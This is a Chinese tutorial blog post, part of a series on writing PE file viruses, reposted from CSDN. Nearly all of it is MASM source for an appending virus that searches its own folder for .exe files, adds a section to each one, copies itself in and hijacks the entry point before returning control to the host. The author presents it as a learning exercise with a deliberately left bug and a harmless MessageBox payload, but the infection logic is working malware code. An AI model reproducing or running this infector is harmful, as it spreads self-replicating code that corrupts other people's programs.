关于PE病毒编写的学习(十)——追加病毒的编写(下)

来源:互联网 发布:java se api文档下载 编辑:程序博客网 时间:2024/05/17 03:15

原本这一篇应该和上一篇同时发,但是我的原来代码写得很烂,而且由于我的目标是编写一个“追加病毒”框架,代码又要具备良好的模块特征。这两天改来改去,已经头脑混乱了,所以还是先发文章把原来的代码挂上,有时间再改,我会配上说明。

  另外提一句,我把一个bug写再AddSection这个函数里,很多教学码也故意写这个错误,这个错误本意是修改由于PE文件头的修改使“xx值”应适当变化,实际写入的是空位置,这个值不应该变化,这个画蛇添足的行为会导致被感染文件出现一个对齐问题的错误,使系统认为它不是一个有效文件。自己独立写出一个AddSection函数(汇编里不叫函数,应该叫过程),是很有好处的。

  如果你水平足够修改这个bug,并不是所有被感染.exe文件都能正常运行,由于这只是一个练习病毒,缺少很多东西,我测试时用的是《格式工厂》,建议使用这个。测试时留个备份,这个测试病毒只会感染自己所在文件夹里.exe文件。

;///////////////////Infect.asm

;打开病毒程序本身
  push MAX_PATH
  lea  eax,szLocalFilePath
  push eax
  push dword ptr 0h
  call aGetModuleFileNameA
 
  push dword ptr 0h
  push dword ptr 0h
  push OPEN_EXISTING
  push dword ptr 0h
  push FILE_SHARE_READ
  push GENERIC_READ
  lea  eax,szLocalFilePath
  push eax
  call aCreateFileA
  mov  stLocalFile.hFile,eax
 
  push dword ptr 0h
  push dword ptr 0h
  push dword ptr 0h
  push PAGE_READONLY
  push NULL
  push stLocalFile.hFile
  call aCreateFileMappingA
  mov stLocalFile.hMap,eax
 
  push dword ptr 0h
  push dword ptr 0h
  push dword ptr 0h
  push FILE_MAP_READ
  push stLocalFile.hMap
  call aMapViewOfFile
  mov stLocalFile.ImageBase,eax   

;搜索并打开宿主文件 
  lea eax,fd
  push eax
  PushData DataBase,sFindFirstFileA_Param
  call aFindFirstFileA
  mov hFindFirstFile,eax
  mov ecx,3h
Find_NextFile:
  push ecx 
  push dword ptr 0h
  push dword ptr 0h
  push OPEN_EXISTING
  push dword ptr 0h
  push FILE_SHARE_READ
  push GENERIC_READ OR GENERIC_WRITE
  lea  eax,fd.cFileName
  push eax
  call aCreateFileA
TestFile:   
  cmp eax,INVALID_HANDLE_VALUE
  jnz SearchFileEnd
  lea eax,fd
  push eax
  push hFindFirstFile
  call aFindNextFileA
  pop ecx
  loop Find_NextFile
  jmp UnloadLocalFile
SearchFileEnd:
  mov stHostFile.hFile,eax
 
  push dword ptr NULL
  push stHostFile.hFile
  call aGetFileSize
  mov  HostFileSize,eax

  add  HostFileSize,1000h
 
  push dword ptr NULL
  push HostFileSize
  push dword ptr 0h
  push PAGE_READWRITE
  push dword ptr NULL
  push stHostFile.hFile
  call aCreateFileMappingA
  mov stHostFile.hMap,eax
  
  push HostFileSize
  push dword ptr 0h
  push dword ptr 0h
  push FILE_MAP_WRITE or FILE_MAP_READ
  push stHostFile.hMap
  call aMapViewOfFile
  mov stHostFile.ImageBase,eax
 
;修改PE头,增加PE节,调用My_Function.asm里的 AddSection
;该函数返回新增节首地址,病毒代码写在这里
  push dword ptr VirusSize
  PushData DataBase,sNewSectionName
  push stHostFile.ImageBase
  call AddSection
;提取新节的一些关键值 
  mov  NewSectionTable,eax
  push dword ptr[eax+14h]
  pop Virus_OEP_File_Offset
  push dword ptr[eax+0ch]
  pop Virus_OEP_Map_Offset
 
;注入代码
  mov edi,Virus_OEP_File_Offset
  add edi,stHostFile.ImageBase
  mov esi,DataBase
  sub esi,offset Data-offset Start
  mov ecx,VirusSize
Copy_CodeOfVirus:
  lodsb
  stosb
  loop Copy_CodeOfVirus
  mov eax,NewSectionTable
  mov ecx,[eax+10h]
  sub ecx,dword ptr VirusSize
  xor eax,eax
  rep stosb
;修改写入新入口点,保存就入口点
  mov edi,stHostFile.ImageBase
  mov edi,[edi+3ch]
  add edi,stHostFile.ImageBase
  mov esi,NewSectionTable
  push dword ptr[edi+28h]  
  push dword ptr[esi+0ch]
  pop  dword ptr[edi+28h]
 

  mov edi,Virus_OEP_File_Offset
  add edi,stHostFile.ImageBase
  add edi,offset Data-offset Start
  add edi,aOEP_HostFile
  pop dword ptr[edi]
  mov esi,stHostFile.ImageBase
  mov esi,[esi+3ch]
  add esi,stHostFile.ImageBase
  mov eax,[esi+34h]
  add [edi],eax

;/////////////////////////////My_Function.asm

My_Get_API_Address proc uses ebx ecx edi esi, Base:dword,sFunctionName:dword
LOCAL NumberOfName:dword
LOCAL AddressOfFunctions:dword
LOCAL AddressOfNames:dword
LOCAL AddressOfOrdinarls:dword
;定位输出表
  mov ebx,Base
  mov eax,[ebx+3ch]
  mov eax,[ebx+eax+78h]
  add eax,ebx
;取出输出表中一些有用的值  
  mov  ebx,[eax+18h]
  mov  NumberOfName,ebx
  mov  ebx,[eax+1ch]
  add  ebx,Base
  mov  AddressOfFunctions,ebx
  mov  ebx,[eax+20h]
  add  ebx,Base
  mov  AddressOfNames,ebx
  mov  ebx,[eax+24h]
  add  ebx,Base
  mov  AddressOfOrdinarls,ebx
;根据函数名找出函数ID
  xor eax,eax
  mov edi,AddressOfNames
  mov ecx,NumberOfName
 
  LoopNumberOfName:
        mov esi,sFunctionName
        push eax
        mov ebx,[edi]
        add ebx,Base
        Match_API:
         mov al,byte ptr[ebx]
         cmp al,[esi]
         jnz Not_Match
         or al,0h
         jz GetKernel_API_Index_Found
         inc ebx
         inc esi
         jmp Match_API
        Not_Match:
        pop eax
        inc eax
        add edi,4h
  loop LoopNumberOfName
GetKernel_API_Index_Found:
  pop eax 
;用函数ID找出函数入口点 
Get_API_Address: 
  mov ebx,AddressOfOrdinarls
  movzx eax,word ptr[ebx+eax*2]
  imul eax,4h
  add  eax,AddressOfFunctions
  mov  eax,[eax]
  add  eax,Base
  ret
My_Get_API_Address endp

AddSection proc uses ebx ecx edi esi, ImageBase:LPVOID,sSectionName:LPVOID,dwSectionSize:DWORD
LOCAL pNt_Header:dword
LOCAL FileAlignment:dword
LOCAL MapAlignment:dword
;定位NT头
  mov esi,ImageBase
  mov esi,[esi+3ch]
  add esi,ImageBase
  mov pNt_Header,esi
;取NT头的一些值FileAlignment、SectionAlignment、NumberOfSection,且NumberOfSection加一
  movzx ecx,word ptr[esi+06h] 
  inc dword ptr [esi+06h]
  push dword ptr[esi+38h]
  pop MapAlignment
  push dword ptr[esi+3ch]
  pop FileAlignment

;到新区块表其实地址
  mov eax,sizeof IMAGE_SECTION_HEADER
  mul ecx
  add esi,eax
  add esi,sizeof IMAGE_NT_HEADERS

;////////////////////////////////向新区块表写入数据
;写入name:节名称
  push esi
  lea edi, [esi]
  mov esi,sSectionName
  mov ecx,8h
CopySectionNameLoop:  
  lodsb
  stosb 
  loop CopySectionNameLoop
  pop esi
;写入VirtualSize
  push dwSectionSize
  pop  dword ptr[esi+08h]
;写入VirtualAddress:镜像相当虚拟地址
  push esi
  sub esi,sizeof IMAGE_SECTION_HEADER
  push MapAlignment
  push dword ptr[esi+08h]
  call PE_Align
  add eax,[esi+0ch]
  pop esi
  mov [esi+0ch],eax
;写入SizeOfRawData:文件对齐后大小
  push FileAlignment
  push dwSectionSize
  call PE_Align
  mov [esi+10h],eax
;写入PointerToRawData
  push esi
  sub esi,sizeof IMAGE_SECTION_HEADER
  mov eax,[esi+10h]
  add eax,[esi+14h]
  pop esi
  mov [esi+14h],eax
;写入PointerToRelocation、PointerToLinenumbers、NumberOfReloations、NumberOfLinenumbers
;:对Exe非调试文件无意义,写为0
  xor eax,eax
  mov [esi+18h],eax
  mov [esi+1ch],eax
  mov [esi+20h],ax
  mov [esi+22h],ax     
;写入Charcteristics:属性
  push 60000020h
  pop dword ptr[esi+24h]
;////////////////////////////新节表写完,在修改NT头
  mov edi,pNt_Header
  mov eax,[esi+10h]
  add [edi+50h],eax
  mov eax,sizeof IMAGE_SECTION_HEADER   
  add [edi+54h],eax
;返回新节表位置
  mov eax,esi 
  ret
 endp
PE_Align proc uses ecx edx, dwTarNum : DWORD, dwAlignTo : DWORD
     mov ecx, dwAlignTo
     mov eax, dwTarNum
     xor edx, edx
     div ecx
     cmp edx, 0
     jz AlreadyAligned
     inc eax
AlreadyAligned:
     mul ecx     
     ret
 
PE_Align endp

;/////////////////////////////////Destory.asm

DestoryModule: 
  push MB_OK
  PushData DataBase,sCaption
  PushData DataBase,sContext
  push NULL
  call aMessageBoxA
DestoryModule_End:

;////////////////////////////CleanUp_and_jmp.asm

  push stHostFile.ImageBase
  call aUnmapViewOfFile
  push stHostFile.hMap
  call aCloseHandle
  push stHostFile.hFile
  call aCloseHandle
UnloadLocalFile:

  push stLocalFile.ImageBase
  call aUnmapViewOfFile
  push stLocalFile.hMap
  call aCloseHandle
  push stLocalFile.hFile
  call aCloseHandle
 
  mov eax,DataBase
  add eax,aOEP_HostFile
  jmp dword ptr[eax]

;////////////////////////////My_Macro.asm

PE_FileInformation struct
 hFile HANDLE 0h
 hMap HANDLE 0h
 ImageBase LPVOID 0h
PE_FileInformation ends

PushData macro Base,OffsetAddress
  mov eax,Base
  add eax,OffsetAddress
  push eax
ENDM

Using_API_LoadLibraryA macro Value,Base,OffsetAddress
  PushData Base,OffsetAddress
  call aLoadLibraryA
  mov Value,eax
ENDM

Using_API_GetProcAddress macro Value,Base,OffsetAddress,hDLL
  PushData Base,OffsetAddress
  Push hDLL
  call aGetProcAddress
  mov Value,eax
ENDM

原文地址:http://blog.csdn.net/yangbostar/archive/2010/10/30/5975966.aspx